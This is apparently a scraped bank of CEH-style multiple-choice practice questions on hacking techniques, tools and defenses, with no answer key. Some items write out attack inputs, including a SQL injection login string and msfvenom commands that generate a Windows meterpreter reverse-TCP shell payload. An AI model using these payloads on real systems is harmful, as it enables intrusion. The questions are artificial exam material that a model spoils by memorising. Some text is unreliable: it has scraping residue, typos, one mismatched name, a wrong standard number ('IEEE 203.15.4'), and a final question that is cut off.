Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks.
What is the tool employed by Gerard in the above scenario?

Bluto

Knative

Towelroot

zANT

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment.
What is this cloud deployment option called?

Public

Hybrid

Private

Community

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.
In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

Cloud consumer

Cloud carrier

Cloud broker

Cloud auditor

By performing a penetration test, you gained access under a user account. During the test, you

established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext.
Which file do you have to clean to clear the password?

.profile

.bashrc

.xsession-log

.bash_history

Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information.
Which of the following techniques is employed by Susan?

Webhooks

REST API

SOAP API

Web shells

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application. Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

Out-of-band SQLi

In-band SQLi

Time-based blind SQLi

Union-based SQLi

An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim's data. What type of attack is this?

Spoofing

Phishing

Vishing

DDoS

In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

4.0–6.9

3.9–6.9

4.0–6.0

3.0–6.9

A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to

blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes?

Vendor risk management

Secure development lifecycle

Patch management

Security awareness training

Answer

Which of the following commands checks for valid users on an SMTP server?

VRFY

CHK

RCPT

EXPN

Answer | Mark for review and Next

What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

Packet fragmentation scanning

Spoof source address scanning

Idle scanning

Decoy scanning

An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware.
Which of the following tools must the organization employ to protect its critical infrastructure?

IntentFuzzer

Robotium

Flowmon

BalenaCloud

You have been authorized to perform a penetration test against a website. You want to use Google dorks to footprint the site but only want results that show file extensions.
What Google dork operator would you use?

ext

filetype

inurl

site

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

Scanning

Maintaining access

Gaining access

Reconnaissance

Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as "' or '1'='1'" in any basic injection statement such as "or 1=1."
Identify the evasion technique used by Daniel in the above scenario.

Variation

Char encoding

Null byte

IP fragmentation

Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring. Which of the following is this type of solution?

IaaS

PaaS

SaaS

CaaS

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks.
What is the component of the Docker architecture used by Annie in the above scenario?

Docker objects

Docker daemon

Docker registries

Docker client

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

Bluesnarfing

Bluebugging

Bluesmacking

Bluejacking

Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS rating was 4.0.
What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?

High

Critical

Low

Medium

At what stage of the cyber kill chain theory model does data exfiltration occur?

Command and control

Weaponization

Installation

Actions on objectives

During the enumeration phase, Lawrence performs banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445.
Which of the following services is enumerated by Lawrence in this scenario?

Remote procedure call (RPC)

Network File System (NFS)

Telnet

Server Message Block (SMB)

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.
What type of malware did the attacker use to bypass the company's application whitelisting?

Zero-day malware

Phishing malware

File-less malware

Logic bomb malware

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website.
What is the technique employed by Steve to gather information for identity theft?

Pretexting

Pharming

Skimming

Wardriving

Henry is a cyber security specialist hired by BlackEye – Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS.
Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

255

64

138

128

Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it.
Which of the following tools did Bob employ to gather the above information?

search.com

Google image search

EarthExplorer

FCC ID search

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

TPM

GPU

CPU

UEFI

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization.
What is the tool employed by John to gather information from the LDAP service?

ike-scan

Zabasearch

JXplorer

EarthExplorer

What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

Bug bounty program

Ethical hacking program

White-hat hacking program

Vulnerability hunting program

Which type of virus can change its own code and then cipher itself multiple times as it replicates?

Cavity virus

Tunneling virus

Encryption virus

Stealth virus

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.
Which phase of the vulnerability-management life cycle is David currently in?

Risk assessment

Verification

Remediation

Vulnerability scan

Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this, James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks.
What is the tool employed by James in the above scenario?

Hootsuite

ophcrack

HULK

VisualRoute

A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete.
Which attack is being described here?

Session splicing

Slowloris attack

Desynchronization

Phlashing

Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool for bypassing the firewalls.
On which of the following ports should Robin run the NSTX tool?

Port 53

Port 23

Port 80

Port 50

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob.
What is the type of attack performed by Samuel in the above scenario?

TCP/IP hijacking

Blind hijacking

UDP hijacking

Forbidden attack

Widespread fraud at Enron, WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?

FedRAMP

SOX

HIPAA

PCI DSS

Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?

DUHK attack

DROWN attack

Side-channel attack

Padding oracle attack

Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins. What is the type of attack technique Ralph used on Jane?

Dumpster diving

Eavesdropping

Impersonation

Shoulder surfing

Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.
What is the type of attack performed by Richard in the above scenario?

Reconnaissance attack

Replay attack

Cryptanalysis attack

Side-channel attack

Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a few countermeasures to secure the accounts on the web server.
Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

Enable all non-interactive accounts that should exist but do not require interactive login

Limit the administrator or root-level access to the minimum number of users

Enable unused default user accounts created during the installation of an OS

Retain all unused modules and application extensions

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.
What tests would you perform to determine whether his computer is infected?

Use ExifTool and check for malicious content.

You do not check; rather, you immediately restore a previous snapshot of the operating system.

Use netstat and check for outgoing connections to strange IP addresses or domains.

Upload the file to VirusTotal.

Dorian is sending a digitally signed email to Polly. With which key is Dorian signing this message and how is Poly validating it?

Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.

Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption.
What encryption protocol is being used?

RADIUS

WPA

WEP

WPA3

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must he use to perform the given task?

ARP ping scan

UDP scan

TCP Maimon scan

ACK flag probe scan

Kevin, a professional hacker, wants to penetrate CyberTech Inc.'s network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them.
What is the technique used by Kevin to evade the IDS system?

Obfuscating

Urgency flag

Session splicing

Desynchronization

You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page.
What is the best Linux pipe to achieve your milestone?

curl -s https://site.com | grep "< a href=\"http" | grep "site.com" | cut -d "\"" -f 2

dirb https://site.com | grep "site"

wget https://site.com | grep "< a href=\"http" | grep "site.com"

wget https://site.com | cut –d “http”

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID “Brakeme-Internal.” You realize that this network uses WPA3 encryption.
Which of the following vulnerabilities is the promising to exploit?

Key reinstallation attack

Dragonblood

Cross-site request forgery

AP misconfiguration

Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different.
What type of attack he is experiencing?

DHCP spoofing

ARP cache poisoning

DoS attack

DNS hijacking

Sam, a professional hacker, targeted an organization with intention of compromising AWS IAM credentials. He attempted to lure one of the employees of the organization by initiating fake calls while posing as a legitimate employee. Moreover, he sent phishing emails to steal the AWS IAM credentials and further compromise the employee's account.
What is the technique used by Sam to compromise the AWS IAM credentials?

Password reuse

Social engineering

Reverse engineering

Insider threat

Consider the following Nmap output:

Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDT

Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).

Not shown: 932 filtered ports, 56 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http

110/tcp open pop3

143/tcp open imap

443/tcp open https

465/tcp open smtps

587/tcp open submission

993/tcp open imaps

995/tcp open pop3s

Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds

What command-line parameter could you use to determine the type and version number of the web server?

-V

-sV

-Pn

-sS

The network users are complaining because their systems are slowing down. Further, every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with?

Trojan

Virus

Spyware

Adware

In order to tailor your tests during a web-application scan, you decide to determine which web-server version is hosting the application. On using the sV flag with Nmap, you obtain the following response:
80/tcp open http-proxy Apache Server 7.1.6
What information-gathering technique does this best describe?

Brute forcing

WHOIS lookup

Dictionary attack

Banner grabbing

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered. John decided to perform a TCP SYN ping scan on the target network. Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

nmap –sn –PA < target IP address >

nmap –sn –PS < target IP address >

nmap –sn –PO < target IP address >

nmap –sn –PP < target IP address >

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack

by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.
What is the attack performed by Boney in the above scenario?

Session donation attack

Forbidden attack

Session fixation attack

CRIME attack

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to one of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation.
What is the type of vulnerability assessment tool employed by John in the above scenario?

Agent-based scanner

Proxy scanner

Cluster scanner

Network-based scanner

In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

IDEA

Triple Data Encryption Standard

MD5 encryption algorithm

AES

John is investigating web-application firewall logs and observers that someone is attempting to inject the following:
char buff[10];
buff[10] = 'a';
What type of attack is this?

SQL injection

XSS

Buffer overflow

CSRF

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries.
Which of the following tiers of the container technology architecture is Abel currently working in?

Tier-1: Developer machines

Tier-3: Registries

Tier-4: Orchestrators

Tier-2: Testing and accreditation systems

Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

Piggybacking

Wardriving

Wireless sniffing

Evil twin

Scenario:
1. Victim opens the attacker's web site.
2. Attacker sets up a web site which contains interesting and attractive content like 'Do you want to make $1000 in a day?'.
3. Victim clicks to the interesting and attractive content URL.
4. Attacker creates a transparent 'iframe' in front of the URL which the victim attempts to click, so the victim thinks that he/she clicks on the 'Do you want to make $1000 in a day?' URL but actually he/she clicks on the content or URL that exists in the transparent 'iframe' which is setup by the attacker.
What is the name of the attack which is mentioned in the scenario?

HTML Injection

Session Fixation

ClickJacking Attack

HTTP Parameter Pollution

Ethical hacker Jane Doe is attempting to crack the password of the head of the IT department of ABC company. She is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting.
What countermeasure is the company using to protect against rainbow tables?

Account lockout

Password salting

Password key hashing

Password hashing

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for

the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.
What is the APT lifecycle phase that Harry is currently executing?

Persistence

Cleanup

Preparation

Initial intrusion

In an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it.
How do you accomplish this?

Remove all passwords

Lock all users

Delete the wireless network

Disable SSID broadcasting

Which file is a rich target to discover the structure of a website during web-server footprinting?

index.html

Document root

domain.txt

Robots.txt

Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application.
What type of attack is Ricardo performing?

Dictionary

Password spraying

Known plaintext

Brute force

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption?

Use Marie's public key to encrypt the message.

Use his own private key to encrypt the message.

Use Marie's private key to encrypt the message.

Use his own public key to encrypt the message.

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open

to attack.
What is the type of vulnerability assessment performed by Johnson in the above scenario?

Wireless network assessment

Host-based assessment

Distributed assessment

Application assessment

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone.
Which of the following attacks is performed by Clark in the above scenario?

Exploiting SS7 vulnerability

iOS jailbreaking

Man-in-the-disk attack

iOS trustjacking

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.

Which stage of the cyber kill chain are you at?

Exploitation

Reconnaissance

Weaponization

Command and control

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app.
What is the attack performed on Don in the above scenario?

SMS phishing attack

Agent Smith attack

SIM card attack

Clickjacking

To invisibly maintain access to a machine, an attacker utilizes a rootkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of?

Hardware rootkit

Kernel rootkit

Firmware rootkit

Hypervisor rootkit

Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice

uses _____ to encrypt the message, and Bryan uses _____ to confirm the digital signature.

Bryan's public key; Alice's public key

Bryan's public key; Bryan's public key

Bryan's private key; Alice's public key

Alice's public key; Alice's public key

You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: "The attacker must scan every port on the server several times using a set of spoofed source IP addresses." Suppose that you are using Nmap to perform this scan. What flag will you use to satisfy this requirement?

The -g flag

The -f flag

The -A flag

The -D flag

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.
Which technique is discussed here?

Hit-list scanning technique

Subnet scanning technique

Permutation scanning technique

Topological scanning technique

Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited.
What is the incident handling and response (IH&R) phase, in which Robert has determined these issues?

Incident triage

Preparation

Incident recording and assignment

Eradication

In this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values. What is this attack called?

Wardriving

KRACK

Evil twin

Chop chop attack

An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.
What is the type of vulnerability assessment solution that James employed in the above scenario?

Inference-based assessment

Product-based solutions

Service-based solutions

Tree-based assessment

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:
Username: attack' or 1=1 –
Password: 123456
Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'

select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'

select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'

Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols is used by Bella?

IP

FTPS

FTP

HTTPS

If you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST, what do you know about the firewall you are scanning?

This event does not tell you anything about the firewall.

It is a non-stateful firewall.

It is a stateful firewall.

There is no firewall in place.

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161.
What protocol is this port using and how can he secure that traffic?

SNMP and he should change it to SNMP V3

It is not necessary to perform any actions, as SNMP is not carrying important information.

SNMP and he should change it to SNMP V2, which is encrypted

RPC and the best practice is to disable RPC completely

John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization.
Which of the following attack techniques is used by John?

Advanced persistent threat

Insider threat

Diversion theft

Spear-phishing sites

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network.
Which of the following attacks did Abel perform in the above scenario?

STP attack

Rogue DHCP server attack

VLAN hopping

DHCP starvation

Which of the following protocols can be used to secure an LDAP service against anonymous queries?

WPA

SSO

RADIUS

NTLM

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server.
What is the technique employed by John to bypass the firewall?

DNS enumeration

DNS cache snooping

DNSSEC zone walking

DNS tunneling method

What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

idq.dll

httpd.conf

administration.config

php.ini

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

Twofish encryption algorithm

Blowfish encryption algorithm

IDEA

HMAC encryption algorithm

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.
What is the port scanning technique used by Sam to discover open ports?

ACK flag probe scan

IDLE/IPID header scan

Xmas scan

TCP Maimon scan

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10–100 m.
What is the short-range wireless communication technology George employed in the above scenario?

MQTT

NB-IoT

Zigbee

LPWAN

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration.
What type of an alert is this?

True positive

True negative

False negative

False positive

What is the port to block first in case you are suspicious that an IoT device has been compromised?

48101

22

443

80

Robin, a professional hacker, targeted an organization's network to sniff all the traffic. During this

process, Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the network.
What is the attack performed by Robin in the above scenario?

VLAN hopping attack

STP attack

DNS poisoning attack

ARP spoofing attack

A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine.
Which of the following advanced operators would allow the pen tester to restrict the search to the organization's web domain?

[site:]

[allinurl:]

[location:]

[link:]

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability assessment that Morris performed on the target organization?

Passive assessment

Credentialed assessment

Internal assessment

External assessment

While testing a web application in development, you notice that the web server does not properly ignore the "dot dot slash" (../) character string and instead returns the file listing of a folder higher up in the folder structure of the server.
What kind of attack is possible in this scenario?

SQL injection

Directory traversal

Denial of service

Cross-site scripting

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API.
Which of the following tools is used by Wilson in the above scenario?

Netcraft

ZoomInfo

Factiva

Infoga

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.
What is the type of web-service API mentioned in the above scenario?

SOAP API

RESTful API

JSON-RPC

REST API

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

resources.asrc

AndroidManifest.xml

classes.dex

APK.info

Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.
What is the online tool employed by Clark in the above scenario?

ARIN

DuckDuckGo

Baidu

AOL

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data.
Which of the following regulations is mostly violated?

PCI DSS

HIPPA/PHI

ISO 2002

PII

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services.
Which of the following types of MIB is accessed by Garry in the above scenario?

LNMIB2.MIB

WINS.MIB

DHCP.MIB

MIB_II.MIB

Mr. Omkar performed tool-based vulnerability assessment and found two vulnerabilities. During further analysis, he found that those issues are not true vulnerabilities.
What will you call these issues?

True positives

False positives

True negatives

False negatives

Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website.
Which of the following tools did Taylor employ in the above scenario?

WebSite-Watcher

Webroot

WAFW00F

Web-Stat

A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors.
What is the type of vulnerability assessment performed by Martin?

Database assessment

Host-based assessment

Credentialed assessment

Distributed assessment

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information.
What is the attack technique employed by Jane in the above scenario?

Session hijacking

Web cache poisoning

Website mirroring

Website defacement

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company.
What is the social engineering technique Steve employed in the above scenario?

Baiting

Honey trap

Piggybacking

Diversion theft

- Select Ques

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows?

msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444-f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found t contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team fr vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.
What is the social engineering technique Steve employed in the above scenario?

Phishing

Diversion theft

Elicitation

Quid pro quo

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nm to scan open ports and running services on systems connected to the organization's OT network. He used an Nma command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address.
Which of the following Nmap commands helped Jim retrieve the required information?

nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >

nmap -Pn -sT -p 46824 < Target IP >

